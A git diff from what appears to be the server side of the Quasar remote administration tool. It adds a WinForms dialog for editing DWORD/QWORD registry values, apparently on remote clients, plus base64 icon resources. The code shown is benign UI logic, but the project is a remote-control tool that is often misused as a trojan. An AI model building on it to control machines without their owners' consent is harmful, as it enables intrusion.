Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs new file mode 100755 index 0000000..62aefd5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -0,0 +1,192 @@ +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditWord + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditWord)); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.baseBox = new System.Windows.Forms.GroupBox(); + this.radioDecimal = new System.Windows.Forms.RadioButton(); + this.radioHexa = new System.Windows.Forms.RadioButton(); + this.valueDataTxtBox = new WordTextBox(); + this.baseBox.SuspendLayout(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20); + this.valueNameTxtBox.TabIndex = 5; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 11); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.TabIndex = 10; + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.TabIndex = 9; + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(271, 128); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(190, 128); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // baseBox + // + this.baseBox.Controls.Add(this.radioDecimal); + this.baseBox.Controls.Add(this.radioHexa); + this.baseBox.Location = new System.Drawing.Point(190, 53); + this.baseBox.Name = "baseBox"; + this.baseBox.Size = new System.Drawing.Size(156, 63); + this.baseBox.TabIndex = 6; + this.baseBox.TabStop = false; + this.baseBox.Text = "Base"; + // + // radioDecimal + // + this.radioDecimal.AutoSize = true; + this.radioDecimal.Location = new System.Drawing.Point(14, 40); + this.radioDecimal.Name = "radioDecimal"; + this.radioDecimal.Size = new System.Drawing.Size(63, 17); + this.radioDecimal.TabIndex = 4; + this.radioDecimal.Text = "Decimal"; + this.radioDecimal.UseVisualStyleBackColor = true; + // + // radioHexa + // + this.radioHexa.AutoSize = true; + this.radioHexa.Checked = true; + this.radioHexa.Location = new System.Drawing.Point(14, 17); + this.radioHexa.Name = "radioHexa"; + this.radioHexa.Size = new System.Drawing.Size(86, 17); + this.radioHexa.TabIndex = 3; + this.radioHexa.TabStop = true; + this.radioHexa.Text = "Hexadecimal"; + this.radioHexa.UseVisualStyleBackColor = true; + this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged); + // + // valueDataTxtBox + // + this.valueDataTxtBox.IsHexNumber = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.Text = "0"; + this.valueDataTxtBox.Type = WordType.DWORD; + // + // FrmRegValueEditWord + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(358, 163); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.baseBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditWord"; + this.ShowIcon = false; + this.Text = "Edit"; + this.baseBox.ResumeLayout(false); + this.baseBox.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.GroupBox baseBox; + private System.Windows.Forms.RadioButton radioDecimal; + private System.Windows.Forms.RadioButton radioHexa; + private Controls.WordTextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs new file mode 100755 index 0000000..a8745c1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -0,0 +1,80 @@ +using System; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditWord : Form + { + private readonly RegValueData _value; + + private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + + public FrmRegValueEditWord(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + + if (value.Kind == RegistryValueKind.DWord) + { + this.Text = "Edit DWORD (32-bit) Value"; + this.valueDataTxtBox.Type = WordType.DWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x"); + } + else + { + this.Text = "Edit QWORD (64-bit) Value"; + this.valueDataTxtBox.Type = WordType.QWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x"); + } + } + + private void radioHex_CheckboxChanged(object sender, EventArgs e) + { + if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) + return; + + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + valueDataTxtBox.IsHexNumber = radioHexa.Checked; + else + radioDecimal.Checked = true; + } + + private void okButton_Click(object sender, EventArgs e) + { + if (valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + { + _value.Data = _value.Kind == RegistryValueKind.DWord + ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue) + : ByteConverter.GetBytes(valueDataTxtBox.ULongValue); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + } + else + { + this.DialogResult = DialogResult.None; + } + + this.Close(); + } + + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + } + + private bool IsOverridePossible() + { + string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; + + return ShowWarning(message, "Overflow") == DialogResult.Yes; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + 